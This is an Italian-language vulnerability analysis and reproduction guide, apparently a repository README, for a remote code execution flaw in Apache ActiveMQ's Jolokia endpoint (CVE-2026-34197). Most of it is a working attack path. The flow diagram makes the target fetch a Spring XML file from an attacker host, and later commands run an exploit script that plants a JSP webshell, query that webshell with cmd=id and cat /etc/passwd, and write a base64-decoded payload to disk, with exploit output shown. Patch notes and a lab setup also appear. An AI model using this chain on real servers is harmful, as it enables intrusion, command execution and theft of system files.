
Apache ActiveMQ RCE tramite Jolokia: analisi della vulnerabilità e note di riproduzione
| Elemento | Dettagli |
|---|
| ID CVE | CVE-2026-34197 |
| CVSS | 8.8 (ALTO) |
| Tipo di vulnerabilità | Esecuzione di codice remoto (RCE) |
| CWE | CWE-20 Validazione non corretta degli input / CWE-94 Iniezione di codice |
| Componente interessato | Apache ActiveMQ Classic - Ponte JMX-HTTP di Jolokia |
| Versioni interessate | < 5.19.4 e 6.0.0 fino a 6.2.2 |
| Versioni corrette | 5.19.4 / 6.2.3 |
| Data di divulgazione | 2026-04-07 |
| Autenticazione | Richiesta per impostazione predefinita, comunemente admin:admin. Le versioni 6.0.0-6.1.1 potrebbero essere raggiungibili senza autenticazione se combinate con CVE-2024-32114. |
| Scoperta | Segnalata come ricerca assistita da IA da Anthropic Claude, dopo essere stata presente per circa 13 anni. |
Attacker
|
|-- 1. POST /api/jolokia/
| Invoke BrokerService.addNetworkConnector(String)
| Argument: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
|
v
ActiveMQ Broker
|
|-- 2. Parses the URI. Because vm://evil does not exist, ActiveMQ tries to create a broker dynamically.
| brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
|
|-- 3. The xbean: protocol fetches a remote Spring XML file over HTTP.
|
|-- 4. ResourceXmlApplicationContext parses the XML and instantiates a ProcessBuilder bean.
| The init-method="start" command runs before configuration validation blocks the URI.
|
`-- 5. Remote code execution is reached.
/api/jolokia/, fornendo accesso JMX su HTTP.org.apache.activemq:*, inclusa addNetworkConnector.brokerConfig del trasporto vm:// può puntare a un XML Spring remoto e l'istanziazione del bean avviene prima che la configurazione venga rifiutata.ActiveMQ 6.2.3 ha aggiunto la validazione all'interno di addNetworkConnector() per rifiutare gli URI di trasporto vm://:
"error": "VM scheme is not allowed"
| Elemento | Dettagli |
|---|---|
| Host dell'attaccante | macOS con OrbStack Docker |
| Immagine target | alfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1) |
| Utente di runtime | amq (uid=33031) |
| Sistema operativo di base | Rocky Linux 8.9 |
cd upstream-poc
docker compose up -d
curl -u admin:admin -H "Origin: http://localhost:8161" \
http://localhost:8161/api/jolokia/
Una risposta con status: 200 conferma che Jolokia è raggiungibile.
python3 exploit_webshell.py \
-t http://localhost:8161 \
--lhost <YOUR_IP> \
--lport 9999
Lo script esegue le seguenti azioni:
NetworkConnector esistente chiamato NC per rendere affidabili i test ripetuti.addNetworkConnector per attivare il percorso di codice vulnerabile.curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"
===============================================================
CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
Target fetches one XML payload; JSP is written from inline base64
===============================================================
[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================
| Versione | Immagine | Risposta di Jolokia | RCE |
|---|---|---|---|
| 5.18.6 | apache/activemq-classic:5.18.6 | status: 200, value: NC | Riuscita come uid=0(root) |
| 6.2.1 | alfresco/alfresco-activemq:6.2.1 | status: 200, value: NC | Riuscita come uid=33031(amq) |
| 6.2.3 | alfresco/alfresco-activemq:6.2 | error: VM scheme is not allowed | Corretto |
addNetworkConnector() registra un connettore chiamato NC. Una seconda registrazione fallisce con un conflitto di denominazione JMX e restituisce un errore 500. Lo script gestisce questo chiamando removeNetworkConnector("NC") prima di attivare l'exploit.
ActiveMQ usa Jetty incorporato, ma la directory webapps esiste su disco e il motore JSP compila i file .jsp appena scritti. Questo rende possibile la scrittura di una webshell nell'ambiente testato.
Il payload scrive la JSP usando base64 inline:
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp
Vantaggi:
<, >, % e ".Il target deve essere in grado di raggiungere il server HTTP controllato dall'attaccante per recuperare il payload XML Spring. Se il target non ha una rotta in uscita verso l'attaccante, questo percorso di exploit non può essere completato.
Le richieste dirette a Jolokia possono restituire 403 a causa dei controlli CORS. Includere un header Origin che corrisponda al target:
Origin: http://TARGET:8161
CVE-2026-34197/
|-- README.md # This report
|-- exploit_webshell.py # One-shot webshell writer with inline base64 and random JSP filename
`-- upstream-poc/ # File copy from dinosn/CVE-2026-34197
|-- docker-compose.yml # Lab environment for ActiveMQ 6.2.1
|-- exploit_poc.py # Original PoC script with serve/exploit/auto modes
`-- serve_payload.py # Simple payload HTTP server
| Script | Scopo | Requisito in uscita | Webshell |
|---|---|---|---|
exploit_poc.py | PoC originale di RCE cieca che esegue un comando arbitrario | Richiesto | No |
exploit_webshell.py | RCE riflessa one-shot tramite una webshell JSP scritta | Richiesto solo per il recupero dell'XML | Scritta automaticamente con un nome di file casuale |
jetty.xml.admin:admin.